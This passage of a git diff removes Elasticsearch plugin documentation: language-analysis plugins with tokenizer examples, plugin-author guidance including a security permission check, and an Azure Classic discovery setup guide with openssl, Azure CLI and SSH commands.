-query does not apply {ref}/common-options.html#fuzziness[fuzziness] to stacked synonym tokens.
-This can lead to issues that are difficult to diagnose and reason about. For this reason, it
-is often beneficial to use separate fields for analysis with and without phonetic filtering.
-That way searches can be run against both fields with differing boosts and trade-offs (e.g.
-only run a fuzzy `match` query on the original text field, but not on the phonetic version).
-
-[discrete]
-===== Double metaphone settings
-
-If the `double_metaphone` encoder is used, then this additional setting is
-supported:
-
-`max_code_len`::
-
-    The maximum length of the emitted metaphone token.  Defaults to `4`.
-
-[discrete]
-===== Beider Morse settings
-
-If the `beider_morse` encoder is used, then these additional settings are
-supported:
-
-`rule_type`::
-
-    Whether matching should be `exact` or `approx` (default).
-
-`name_type`::
-
-    Whether names are `ashkenazi`, `sephardic`, or `generic` (default).
-
-`languageset`::
-
-    An array of languages to check. If not specified, then the language will
-    be guessed. Accepts: `any`, `common`, `cyrillic`, `english`, `french`,
-    `german`, `hebrew`, `hungarian`, `polish`, `romanian`, `russian`,
-    `spanish`.
diff --git a/docs/plugins/analysis-smartcn.asciidoc b/docs/plugins/analysis-smartcn.asciidoc
deleted file mode 100644
index 704c15b56e6..00000000000
--- a/docs/plugins/analysis-smartcn.asciidoc
+++ /dev/null
@@ -1,428 +0,0 @@
-[[analysis-smartcn]]
-=== Smart Chinese Analysis Plugin
-
-The Smart Chinese Analysis plugin integrates Lucene's Smart Chinese analysis
-module into elasticsearch.
-
-It provides an analyzer for Chinese or mixed Chinese-English text. This
-analyzer uses probabilistic knowledge to find the optimal word segmentation
-for Simplified Chinese text. The text is first broken into sentences, then
-each sentence is segmented into words.
-
-:plugin_name: analysis-smartcn
-include::install_remove.asciidoc[]
-
-
-[[analysis-smartcn-tokenizer]]
-[discrete]
-==== `smartcn` tokenizer and token filter
-
-The plugin provides the `smartcn` analyzer, `smartcn_tokenizer` tokenizer, and
-`smartcn_stop` token filter which are not configurable.
-
-NOTE: The `smartcn_word` token filter and `smartcn_sentence` have been deprecated.
-
-==== Reimplementing and extending the analyzers
-
-The `smartcn` analyzer could be reimplemented as a `custom` analyzer that can
-then be extended and configured as follows:
-
-[source,console]
-----------------------------------------------------
-PUT smartcn_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_smartcn": {
-          "tokenizer":  "smartcn_tokenizer",
-          "filter": [
-            "porter_stem",
-            "smartcn_stop"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: smartcn_example, first: smartcn, second: rebuilt_smartcn}\nendyaml\n/]
-
-[[analysis-smartcn_stop]]
-==== `smartcn_stop` token filter
-
-The `smartcn_stop` token filter filters out stopwords defined by `smartcn`
-analyzer (`_smartcn_`), and any other custom stopwords specified by the user.
-This filter only supports the predefined `_smartcn_` stopwords list.
-If you want to use a different predefined list, then use the
-{ref}/analysis-stop-tokenfilter.html[`stop` token filter] instead.
-
-[source,console]
---------------------------------------------------
-PUT smartcn_example
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "smartcn_with_stop": {
-            "tokenizer": "smartcn_tokenizer",
-            "filter": [
-              "porter_stem",
-              "my_smartcn_stop"
-            ]
-          }
-        },
-        "filter": {
-          "my_smartcn_stop": {
-            "type": "smartcn_stop",
-            "stopwords": [
-              "_smartcn_",
-              "stack",
-              "的"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET smartcn_example/_analyze
-{
-  "analyzer": "smartcn_with_stop",
-  "text": "哈喽，我们是 Elastic   我们是 Elastic Stack（Elasticsearch、Kibana、Beats 和 Logstash）的开发公司。从股票行情到 Twitter 消息流，从 Apache 日志到 WordPress 博文，我们可以帮助人们体验搜索的强大力量，帮助他们以截然不同的方式探索和分析数据"
-}
---------------------------------------------------
-
-The above request returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "哈",
-      "start_offset": 0,
-      "end_offset": 1,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "喽",
-      "start_offset": 1,
-      "end_offset": 2,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "我们",
-      "start_offset": 3,
-      "end_offset": 5,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "是",
-      "start_offset": 5,
-      "end_offset": 6,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "elast",
-      "start_offset": 7,
-      "end_offset": 14,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "我们",
-      "start_offset": 17,
-      "end_offset": 19,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "是",
-      "start_offset": 19,
-      "end_offset": 20,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "elast",
-      "start_offset": 21,
-      "end_offset": 28,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "elasticsearch",
-      "start_offset": 35,
-      "end_offset": 48,
-      "type": "word",
-      "position": 11
-    },
-    {
-      "token": "kibana",
-      "start_offset": 49,
-      "end_offset": 55,
-      "type": "word",
-      "position": 13
-    },
-    {
-      "token": "beat",
-      "start_offset": 56,
-      "end_offset": 61,
-      "type": "word",
-      "position": 15
-    },
-    {
-      "token": "和",
-      "start_offset": 62,
-      "end_offset": 63,
-      "type": "word",
-      "position": 16
-    },
-    {
-      "token": "logstash",
-      "start_offset": 64,
-      "end_offset": 72,
-      "type": "word",
-      "position": 17
-    },
-    {
-      "token": "开发",
-      "start_offset": 74,
-      "end_offset": 76,
-      "type": "word",
-      "position": 20
-    },
-    {
-      "token": "公司",
-      "start_offset": 76,
-      "end_offset": 78,
-      "type": "word",
-      "position": 21
-    },
-    {
-      "token": "从",
-      "start_offset": 79,
-      "end_offset": 80,
-      "type": "word",
-      "position": 23
-    },
-    {
-      "token": "股票",
-      "start_offset": 80,
-      "end_offset": 82,
-      "type": "word",
-      "position": 24
-    },
-    {
-      "token": "行情",
-      "start_offset": 82,
-      "end_offset": 84,
-      "type": "word",
-      "position": 25
-    },
-    {
-      "token": "到",
-      "start_offset": 84,
-      "end_offset": 85,
-      "type": "word",
-      "position": 26
-    },
-    {
-      "token": "twitter",
-      "start_offset": 86,
-      "end_offset": 93,
-      "type": "word",
-      "position": 27
-    },
-    {
-      "token": "消息",
-      "start_offset": 94,
-      "end_offset": 96,
-      "type": "word",
-      "position": 28
-    },
-    {
-      "token": "流",
-      "start_offset": 96,
-      "end_offset": 97,
-      "type": "word",
-      "position": 29
-    },
-    {
-      "token": "从",
-      "start_offset": 98,
-      "end_offset": 99,
-      "type": "word",
-      "position": 31
-    },
-    {
-      "token": "apach",
-      "start_offset": 100,
-      "end_offset": 106,
-      "type": "word",
-      "position": 32
-    },
-    {
-      "token": "日志",
-      "start_offset": 107,
-      "end_offset": 109,
-      "type": "word",
-      "position": 33
-    },
-    {
-      "token": "到",
-      "start_offset": 109,
-      "end_offset": 110,
-      "type": "word",
-      "position": 34
-    },
-    {
-      "token": "wordpress",
-      "start_offset": 111,
-      "end_offset": 120,
-      "type": "word",
-      "position": 35
-    },
-    {
-      "token": "博",
-      "start_offset": 121,
-      "end_offset": 122,
-      "type": "word",
-      "position": 36
-    },
-    {
-      "token": "文",
-      "start_offset": 122,
-      "end_offset": 123,
-      "type": "word",
-      "position": 37
-    },
-    {
-      "token": "我们",
-      "start_offset": 124,
-      "end_offset": 126,
-      "type": "word",
-      "position": 39
-    },
-    {
-      "token": "可以",
-      "start_offset": 126,
-      "end_offset": 128,
-      "type": "word",
-      "position": 40
-    },
-    {
-      "token": "帮助",
-      "start_offset": 128,
-      "end_offset": 130,
-      "type": "word",
-      "position": 41
-    },
-    {
-      "token": "人们",
-      "start_offset": 130,
-      "end_offset": 132,
-      "type": "word",
-      "position": 42
-    },
-    {
-      "token": "体验",
-      "start_offset": 132,
-      "end_offset": 134,
-      "type": "word",
-      "position": 43
-    },
-    {
-      "token": "搜索",
-      "start_offset": 134,
-      "end_offset": 136,
-      "type": "word",
-      "position": 44
-    },
-    {
-      "token": "强大",
-      "start_offset": 137,
-      "end_offset": 139,
-      "type": "word",
-      "position": 46
-    },
-    {
-      "token": "力量",
-      "start_offset": 139,
-      "end_offset": 141,
-      "type": "word",
-      "position": 47
-    },
-    {
-      "token": "帮助",
-      "start_offset": 142,
-      "end_offset": 144,
-      "type": "word",
-      "position": 49
-    },
-    {
-      "token": "他们",
-      "start_offset": 144,
-      "end_offset": 146,
-      "type": "word",
-      "position": 50
-    },
-    {
-      "token": "以",
-      "start_offset": 146,
-      "end_offset": 147,
-      "type": "word",
-      "position": 51
-    },
-    {
-      "token": "截然不同",
-      "start_offset": 147,
-      "end_offset": 151,
-      "type": "word",
-      "position": 52
-    },
-    {
-      "token": "方式",
-      "start_offset": 152,
-      "end_offset": 154,
-      "type": "word",
-      "position": 54
-    },
-    {
-      "token": "探索",
-      "start_offset": 154,
-      "end_offset": 156,
-      "type": "word",
-      "position": 55
-    },
-    {
-      "token": "和",
-      "start_offset": 156,
-      "end_offset": 157,
-      "type": "word",
-      "position": 56
-    },
-    {
-      "token": "分析",
-      "start_offset": 157,
-      "end_offset": 159,
-      "type": "word",
-      "position": 57
-    },
-    {
-      "token": "数据",
-      "start_offset": 159,
-      "end_offset": 161,
-      "type": "word",
-      "position": 58
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/plugins/analysis-stempel.asciidoc b/docs/plugins/analysis-stempel.asciidoc
deleted file mode 100644
index 54118945ab3..00000000000
--- a/docs/plugins/analysis-stempel.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[[analysis-stempel]]
-=== Stempel Polish Analysis Plugin
-
-The Stempel Analysis plugin integrates Lucene's Stempel analysis
-module for Polish into elasticsearch.
-
-:plugin_name: analysis-stempel
-include::install_remove.asciidoc[]
-
-[[analysis-stempel-tokenizer]]
-[discrete]
-==== `stempel` tokenizer and token filters
-
-The plugin provides the `polish` analyzer and the `polish_stem` and `polish_stop` token filters,
-which are not configurable.
-
-==== Reimplementing and extending the analyzers
-
-The `polish` analyzer could be reimplemented as a `custom` analyzer that can
-then be extended and configured differently as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /stempel_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_stempel": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "polish_stop",
-            "polish_stem"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: stempel_example, first: polish, second: rebuilt_stempel}\nendyaml\n/]
-
-[[analysis-polish-stop]]
-==== `polish_stop` token filter
-
-The `polish_stop` token filter filters out Polish stopwords (`_polish_`), and
-any other custom stopwords specified by the user. This filter only supports
-the predefined `_polish_` stopwords list.  If you want to use a different
-predefined list, then use the
-{ref}/analysis-stop-tokenfilter.html[`stop` token filter] instead.
-
-[source,console]
---------------------------------------------------
-PUT /polish_stop_example
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "analyzer_with_stop": {
-            "tokenizer": "standard",
-            "filter": [
-              "lowercase",
-              "polish_stop"
-            ]
-          }
-        },
-        "filter": {
-          "polish_stop": {
-            "type": "polish_stop",
-            "stopwords": [
-              "_polish_",
-              "jeść"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET polish_stop_example/_analyze
-{
-  "analyzer": "analyzer_with_stop",
-  "text": "Gdzie kucharek sześć, tam nie ma co jeść."
-}
---------------------------------------------------
-
-The above request returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "kucharek",
-      "start_offset" : 6,
-      "end_offset" : 14,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "sześć",
-      "start_offset" : 15,
-      "end_offset" : 20,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/plugins/analysis-ukrainian.asciidoc b/docs/plugins/analysis-ukrainian.asciidoc
deleted file mode 100644
index 534c1708b98..00000000000
--- a/docs/plugins/analysis-ukrainian.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[analysis-ukrainian]]
-=== Ukrainian Analysis Plugin
-
-The Ukrainian Analysis plugin integrates Lucene's UkrainianMorfologikAnalyzer into elasticsearch.
-
-It provides stemming for Ukrainian using the https://github.com/morfologik/morfologik-stemming[Morfologik project].
-
-:plugin_name: analysis-ukrainian
-include::install_remove.asciidoc[]
-
-[[analysis-ukrainian-analyzer]]
-[discrete]
-==== `ukrainian` analyzer
-
-The plugin provides the `ukrainian` analyzer.
diff --git a/docs/plugins/analysis.asciidoc b/docs/plugins/analysis.asciidoc
deleted file mode 100644
index bc347744340..00000000000
--- a/docs/plugins/analysis.asciidoc
+++ /dev/null
@@ -1,71 +0,0 @@
-[[analysis]]
-== Analysis Plugins
-
-Analysis plugins extend Elasticsearch by adding new analyzers, tokenizers,
-token filters, or character filters to Elasticsearch.
-
-[discrete]
-==== Core analysis plugins
-
-The core analysis plugins are:
-
-<<analysis-icu,ICU>>::
-
-Adds extended Unicode support using the http://site.icu-project.org/[ICU]
-libraries, including better analysis of Asian languages, Unicode
-normalization, Unicode-aware case folding, collation support, and
-transliteration.
-
-<<analysis-kuromoji,Kuromoji>>::
-
-Advanced analysis of Japanese using the https://www.atilika.org/[Kuromoji analyzer].
-
-<<analysis-nori,Nori>>::
-
-Morphological analysis of Korean using the Lucene Nori analyzer.
-
-<<analysis-phonetic,Phonetic>>::
-
-Analyzes tokens into their phonetic equivalent using Soundex, Metaphone,
-Caverphone, and other codecs.
-
-<<analysis-smartcn,SmartCN>>::
-
-An analyzer for Chinese or mixed Chinese-English text. This analyzer uses
-probabilistic knowledge to find the optimal word segmentation for Simplified
-Chinese text. The text is first broken into sentences, then each sentence is
-segmented into words.
-
-<<analysis-stempel,Stempel>>::
-
-Provides high quality stemming for Polish.
-
-<<analysis-ukrainian,Ukrainian>>::
-
-Provides stemming for Ukrainian.
-
-[discrete]
-==== Community contributed analysis plugins
-
-A number of analysis plugins have been contributed by our community:
-
-* https://github.com/medcl/elasticsearch-analysis-ik[IK Analysis Plugin] (by Medcl)
-* https://github.com/medcl/elasticsearch-analysis-pinyin[Pinyin Analysis Plugin] (by Medcl)
-* https://github.com/duydo/elasticsearch-analysis-vietnamese[Vietnamese Analysis Plugin] (by Duy Do)
-* https://github.com/ofir123/elasticsearch-network-analysis[Network Addresses Analysis Plugin] (by Ofir123)
-* https://github.com/ZarHenry96/elasticsearch-dandelion-plugin[Dandelion Analysis Plugin] (by ZarHenry96)
-* https://github.com/medcl/elasticsearch-analysis-stconvert[STConvert Analysis Plugin] (by Medcl)
-
-include::analysis-icu.asciidoc[]
-
-include::analysis-kuromoji.asciidoc[]
-
-include::analysis-nori.asciidoc[]
-
-include::analysis-phonetic.asciidoc[]
-
-include::analysis-smartcn.asciidoc[]
-
-include::analysis-stempel.asciidoc[]
-
-include::analysis-ukrainian.asciidoc[]
diff --git a/docs/plugins/api.asciidoc b/docs/plugins/api.asciidoc
deleted file mode 100644
index ad12ddbdbf0..00000000000
--- a/docs/plugins/api.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[api]]
-== API Extension Plugins
-
-API extension plugins add new functionality to Elasticsearch by adding new APIs or features, usually to do with search or mapping.
-
-[discrete]
-=== Community contributed API extension plugins
-
-A number of plugins have been contributed by our community:
-
-* https://github.com/carrot2/elasticsearch-carrot2[carrot2 Plugin]:
-  Results clustering with https://github.com/carrot2/carrot2[carrot2] (by Dawid Weiss)
-
-* https://github.com/wikimedia/search-extra[Elasticsearch Trigram Accelerated Regular Expression Filter]:
-  (by Wikimedia Foundation/Nik Everett)
-
-* https://github.com/wikimedia/search-highlighter[Elasticsearch Experimental Highlighter]:
-  (by Wikimedia Foundation/Nik Everett)
-
-* https://github.com/YannBrrd/elasticsearch-entity-resolution[Entity Resolution Plugin]:
-  Uses https://github.com/larsga/Duke[Duke] for duplication detection (by Yann Barraud)
-  
-* https://github.com/zentity-io/zentity[Entity Resolution Plugin] (https://zentity.io[zentity]):
-  Real-time entity resolution with pure Elasticsearch (by Dave Moore)
-
-* https://github.com/ritesh-kapoor/elasticsearch-pql[PQL language Plugin]:
-  Allows Elasticsearch to be queried with simple pipeline query syntax.
-
-* https://github.com/codelibs/elasticsearch-taste[Elasticsearch Taste Plugin]:
-  Mahout Taste-based Collaborative Filtering implementation (by CodeLibs Project)
-
-* https://github.com/jurgc11/es-change-feed-plugin[WebSocket Change Feed Plugin] (by ForgeRock/Chris Clifton)
diff --git a/docs/plugins/authors.asciidoc b/docs/plugins/authors.asciidoc
deleted file mode 100644
index 76a0588cead..00000000000
--- a/docs/plugins/authors.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[[plugin-authors]]
-== Help for plugin authors
-
-:plugin-properties-files: {elasticsearch-root}/buildSrc/src/main/resources
-
-The Elasticsearch repository contains examples of:
-
-* a https://github.com/elastic/elasticsearch/tree/master/plugins/examples/custom-settings[Java plugin]
-  which contains a plugin with custom settings.
-* a https://github.com/elastic/elasticsearch/tree/master/plugins/examples/rest-handler[Java plugin]
-  which contains a plugin that registers a Rest handler.
-* a https://github.com/elastic/elasticsearch/tree/master/plugins/examples/rescore[Java plugin]
-  which contains a rescore plugin.
-* a https://github.com/elastic/elasticsearch/tree/master/plugins/examples/script-expert-scoring[Java plugin]
-  which contains a script plugin.
-
-These examples provide the bare bones needed to get started.  For more
-information about how to write a plugin, we recommend looking at the plugins
-listed in this documentation for inspiration.
-
-[discrete]
-=== Plugin descriptor file
-
-All plugins must contain a file called `plugin-descriptor.properties`.
-The format for this file is described in detail in this example:
-
-["source","properties"]
---------------------------------------------------
-include::{plugin-properties-files}/plugin-descriptor.properties[]
---------------------------------------------------
-
-Either fill in this template yourself or, if you are using Elasticsearch's Gradle build system, you
-can fill in the necessary values in the `build.gradle` file for your plugin.
-
-[discrete]
-==== Mandatory elements for plugins
-
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-|Element                    | Type   | Description
-
-|`description`              |String  | simple summary of the plugin
-
-|`version`                  |String  | plugin's version
-
-|`name`                     |String  | the plugin name
-
-|`classname`                |String  | the name of the class to load, fully-qualified.
-
-|`java.version`             |String  | version of java the code is built against.
-Use the system property `java.specification.version`. Version string must be a sequence
-of nonnegative decimal integers separated by "."'s and may have leading zeros.
-
-|`elasticsearch.version`    |String  | version of Elasticsearch compiled against.
-
-|=======================================================================
-
-Note that only jar files at the root of the plugin are added to the classpath for the plugin!
-If you need other resources, package them into a resources jar.
-
-[IMPORTANT]
-.Plugin release lifecycle
-==============================================
-
-You will have to release a new version of the plugin for each new Elasticsearch release.
-This version is checked when the plugin is loaded so Elasticsearch will refuse to start
-in the presence of plugins with the incorrect `elasticsearch.version`.
-
-==============================================
-
-
-[discrete]
-=== Testing your plugin
-
-When testing a Java plugin, it will only be auto-loaded if it is in the
-`plugins/` directory.  Use `bin/elasticsearch-plugin install file:///path/to/your/plugin`
-to install your plugin for testing.
-
-You may also load your plugin within the test framework for integration tests.
-Read more in {ref}/integration-tests.html#changing-node-configuration[Changing Node Configuration].
-
-
-[discrete]
-[[plugin-authors-jsm]]
-=== Java Security permissions
-
-Some plugins may need additional security permissions. A plugin can include
-the optional `plugin-security.policy` file containing `grant` statements for
-additional permissions. Any additional permissions will be displayed to the user
-with a large warning, and they will have to confirm them when installing the
-plugin interactively. So if possible, it is best to avoid requesting any
-spurious permissions!
-
-If you are using the Elasticsearch Gradle build system, place this file in
-`src/main/plugin-metadata` and it will be applied during unit tests as well.
-
-Keep in mind that the Java security model is stack-based, and the additional
-permissions will only be granted to the jars in your plugin, so you will have
-write proper security code around operations requiring elevated privileges.
-It is recommended to add a check to prevent unprivileged code (such as scripts)
-from gaining escalated permissions. For example:
-
-[source,java]
---------------------------------------------------
-// ES permission you should check before doPrivileged() blocks
-import org.elasticsearch.SpecialPermission;
-
-SecurityManager sm = System.getSecurityManager();
-if (sm != null) {
-  // unprivileged code such as scripts do not have SpecialPermission
-  sm.checkPermission(new SpecialPermission());
-}
-AccessController.doPrivileged(
-  // sensitive operation
-);
---------------------------------------------------
-
-See https://www.oracle.com/technetwork/java/seccodeguide-139067.html[Secure Coding Guidelines for Java SE]
-for more information.
diff --git a/docs/plugins/discovery-azure-classic.asciidoc b/docs/plugins/discovery-azure-classic.asciidoc
deleted file mode 100644
index b7a94ea60e2..00000000000
--- a/docs/plugins/discovery-azure-classic.asciidoc
+++ /dev/null
@@ -1,485 +0,0 @@
-[[discovery-azure-classic]]
-=== Azure Classic Discovery Plugin
-
-The Azure Classic Discovery plugin uses the Azure Classic API to identify the
-addresses of seed hosts.
-
-deprecated[5.0.0, This plugin will be removed in the future]
-
-:plugin_name: discovery-azure-classic
-include::install_remove.asciidoc[]
-
-
-[[discovery-azure-classic-usage]]
-==== Azure Virtual Machine Discovery
-
-Azure VM discovery allows to use the Azure APIs to perform automatic discovery.
-Here is a simple sample configuration:
-
-[source,yaml]
-----
-cloud:
-    azure:
-        management:
-             subscription.id: XXX-XXX-XXX-XXX
-             cloud.service.name: es-demo-app
-             keystore:
-                   path: /path/to/azurekeystore.pkcs12
-                   password: WHATEVER
-                   type: pkcs12
-
-discovery:
-    seed_providers: azure
-----
-
-[IMPORTANT]
-.Binding the network host
-==============================================
-
-The keystore file must be placed in a directory accessible by Elasticsearch like the `config` directory.
-
-It's important to define `network.host` as by default it's bound to `localhost`.
-
-You can use {ref}/modules-network.html[core network host settings]. For example `_en0_`.
-
-==============================================
-
-[[discovery-azure-classic-short]]
-===== How to start (short story)
-
-* Create Azure instances
-* Install Elasticsearch
-* Install Azure plugin
-* Modify `elasticsearch.yml` file
-* Start Elasticsearch
-
-[[discovery-azure-classic-settings]]
-===== Azure credential API settings
-
-The following are a list of settings that can further control the credential API:
-
-[horizontal]
-`cloud.azure.management.keystore.path`::
-
-    /path/to/keystore
-
-`cloud.azure.management.keystore.type`::
-
-    `pkcs12`, `jceks` or `jks`. Defaults to `pkcs12`.
-
-`cloud.azure.management.keystore.password`::
-
-    your_password for the keystore
-
-`cloud.azure.management.subscription.id`::
-
-    your_azure_subscription_id
-
-`cloud.azure.management.cloud.service.name`::
-
-    your_azure_cloud_service_name. This is the cloud service name/DNS but without the `cloudapp.net` part.
-    So if the DNS name is `abc.cloudapp.net` then the `cloud.service.name` to use is just `abc`.
-
-
-[[discovery-azure-classic-settings-advanced]]
-===== Advanced settings
-
-The following are a list of settings that can further control the discovery:
-
-`discovery.azure.host.type`::
-
-    Either `public_ip` or `private_ip` (default). Azure discovery will use the
-    one you set to ping other nodes.
-
-`discovery.azure.endpoint.name`::
-
-    When using `public_ip` this setting is used to identify the endpoint name
-    used to forward requests to Elasticsearch (aka transport port name).
-    Defaults to `elasticsearch`. In Azure management console, you could define
-    an endpoint `elasticsearch` forwarding for example requests on public IP
-    on port 8100 to the virtual machine on port 9300.
-
-`discovery.azure.deployment.name`::
-
-    Deployment name if any. Defaults to the value set with
-    `cloud.azure.management.cloud.service.name`.
-
-`discovery.azure.deployment.slot`::
-
-    Either `staging` or `production` (default).
-
-For example:
-
-[source,yaml]
-----
-discovery:
-    type: azure
-    azure:
-        host:
-            type: private_ip
-        endpoint:
-            name: elasticsearch
-        deployment:
-            name: your_azure_cloud_service_name
-            slot: production
-----
-
-[[discovery-azure-classic-long]]
-==== Setup process for Azure Discovery
-
-We will expose here one strategy which is to hide our Elasticsearch cluster from outside.
-
-With this strategy, only VMs behind the same virtual port can talk to each
-other.  That means that with this mode, you can use Elasticsearch unicast
-discovery to build a cluster, using the Azure API to retrieve information
-about your nodes.
-
-[[discovery-azure-classic-long-prerequisites]]
-===== Prerequisites
-
-Before starting, you need to have:
-
-* A https://azure.microsoft.com/en-us/[Windows Azure account]
-* OpenSSL that isn't from MacPorts, specifically `OpenSSL 1.0.1f 6 Jan
-  2014` doesn't seem to create a valid keypair for ssh. FWIW,
- `OpenSSL 1.0.1c 10 May 2012` on Ubuntu 14.04 LTS is known to work.
-* SSH keys and certificate
-+
---
-
-You should follow http://azure.microsoft.com/en-us/documentation/articles/linux-use-ssh-key/[this guide] to learn
-how to create or use existing SSH keys. If you have already did it, you can skip the following.
-
-Here is a description on how to generate SSH keys using `openssl`:
-
-[source,sh]
-----
-# You may want to use another dir than /tmp
-cd /tmp
-openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout azure-private.key -out azure-certificate.pem
-chmod 600 azure-private.key azure-certificate.pem
-openssl x509 -outform der -in azure-certificate.pem -out azure-certificate.cer
-----
-
-Generate a keystore which will be used by the plugin to authenticate with a certificate
-all Azure API calls.
-
-[source,sh]
-----
-# Generate a keystore (azurekeystore.pkcs12)
-# Transform private key to PEM format
-openssl pkcs8 -topk8 -nocrypt -in azure-private.key -inform PEM -out azure-pk.pem -outform PEM
-# Transform certificate to PEM format
-openssl x509 -inform der -in azure-certificate.cer -out azure-cert.pem
-cat azure-cert.pem azure-pk.pem > azure.pem.txt
-# You MUST enter a password!
-openssl pkcs12 -export -in azure.pem.txt -out azurekeystore.pkcs12 -name azure -noiter -nomaciter
-----
-
-Upload the `azure-certificate.cer` file both in the Elasticsearch Cloud Service (under `Manage Certificates`),
-and under `Settings -> Manage Certificates`.
-
-IMPORTANT: When prompted for a password, you need to enter a non empty one.
-
-See this http://www.windowsazure.com/en-us/manage/linux/how-to-guides/ssh-into-linux/[guide] for
-more details about how to create keys for Azure.
-
-Once done, you need to upload your certificate in Azure:
-
-* Go to the https://account.windowsazure.com/[management console].
-* Sign in using your account.
-* Click on `Portal`.
-* Go to Settings (bottom of the left list)
-* On the bottom bar, click on `Upload` and upload your `azure-certificate.cer` file.
-
-You may want to use
-http://www.windowsazure.com/en-us/develop/nodejs/how-to-guides/command-line-tools/[Windows Azure Command-Line Tool]:
-
---
-
-* Install https://github.com/joyent/node/wiki/Installing-Node.js-via-package-manager[NodeJS], for example using
-homebrew on MacOS X:
-+
-[source,sh]
-----
-brew install node
-----
-
-* Install Azure tools
-+
-[source,sh]
-----
-sudo npm install azure-cli -g
-----
-
-* Download and import your azure settings:
-+
-[source,sh]
-----
-# This will open a browser and will download a .publishsettings file
-azure account download
-
-# Import this file (we have downloaded it to /tmp)
-# Note, it will create needed files in ~/.azure. You can remove azure.publishsettings when done.
-azure account import /tmp/azure.publishsettings
-----
-
-[[discovery-azure-classic-long-instance]]
-===== Creating your first instance
-
-You need to have a storage account available. Check http://www.windowsazure.com/en-us/develop/net/how-to-guides/blob-storage/#create-account[Azure Blob Storage documentation]
-for more information.
-
-You will need to choose the operating system you want to run on. To get a list of official available images, run:
-
-[source,sh]
-----
-azure vm image list
-----
-
-Let's say we are going to deploy an Ubuntu image on an extra small instance in West Europe:
-
-[horizontal]
-Azure cluster name::
-
-    `azure-elasticsearch-cluster`
-
-Image::
-
-    `b39f27a8b8c64d52b05eac6a62ebad85__Ubuntu-13_10-amd64-server-20130808-alpha3-en-us-30GB`
-
-VM Name::
-
-    `myesnode1`
-
-VM Size::
-
-    `extrasmall`
-
-Location::
-
-    `West Europe`
-
-Login::
-
-    `elasticsearch`
-
-Password::
-
-    `password1234!!`
-
-
-Using command line:
-
-[source,sh]
-----
-azure vm create azure-elasticsearch-cluster \
-                b39f27a8b8c64d52b05eac6a62ebad85__Ubuntu-13_10-amd64-server-20130808-alpha3-en-us-30GB \
-                --vm-name myesnode1 \
-                --location "West Europe" \
-                --vm-size extrasmall \
-                --ssh 22 \
-                --ssh-cert /tmp/azure-certificate.pem \
-                elasticsearch password1234\!\!
-----
-
-You should see something like:
-
-[source,text]
-----
-info:    Executing command vm create
-+ Looking up image
-+ Looking up cloud service
-+ Creating cloud service
-+ Retrieving storage accounts
-+ Configuring certificate
-+ Creating VM
-info:    vm create command OK
-----
-
-Now, your first instance is started.
-
-[TIP]
-.Working with SSH
-===============================================
-
-You need to give the private key and username each time you log on your instance:
-
-[source,sh]
-----
-ssh -i ~/.ssh/azure-private.key elasticsearch@myescluster.cloudapp.net
-----
-
-But you can also define it once in `~/.ssh/config` file:
-
-[source,text]
-----
-Host *.cloudapp.net
- User elasticsearch
- StrictHostKeyChecking no
- UserKnownHostsFile=/dev/null
- IdentityFile ~/.ssh/azure-private.key
-----
-===============================================
-
-Next, you need to install Elasticsearch on your new instance. First, copy your
-keystore to the instance, then connect to the instance using SSH:
-
-[source,sh]
-----
-scp /tmp/azurekeystore.pkcs12 azure-elasticsearch-cluster.cloudapp.net:/home/elasticsearch
-ssh azure-elasticsearch-cluster.cloudapp.net
-----
-
-Once connected, {stack-gs}/get-started-elastic-stack.html#install-elasticsearch[install {es}]:
-
-Check that Elasticsearch is running:
-
-[source,console]
-----
-GET /
-----
-
-This command should give you a JSON result:
-
-["source","js",subs="attributes,callouts"]
---------------------------------------------
-{
-  "name" : "Cp8oag6",
-  "cluster_name" : "elasticsearch",
-  "cluster_uuid" : "AT69_T_DTp-1qgIJlatQqA",
-  "version" : {
-    "number" : "{version_qualified}",
-    "build_flavor" : "{build_flavor}",
-    "build_type" : "{build_type}",
-    "build_hash" : "f27399d",
-    "build_date" : "2016-03-30T09:51:41.449Z",
-    "build_snapshot" : false,
-    "lucene_version" : "{lucene_version}",
-    "minimum_wire_compatibility_version" : "1.2.3",
-    "minimum_index_compatibility_version" : "1.2.3"
-  },
-  "tagline" : "You Know, for Search"
-}
---------------------------------------------
-// TESTRESPONSE[s/"name" : "Cp8oag6",/"name" : "$body.name",/]
-// TESTRESPONSE[s/"cluster_name" : "elasticsearch",/"cluster_name" : "$body.cluster_name",/]
-// TESTRESPONSE[s/"cluster_uuid" : "AT69_T_DTp-1qgIJlatQqA",/"cluster_uuid" : "$body.cluster_uuid",/]
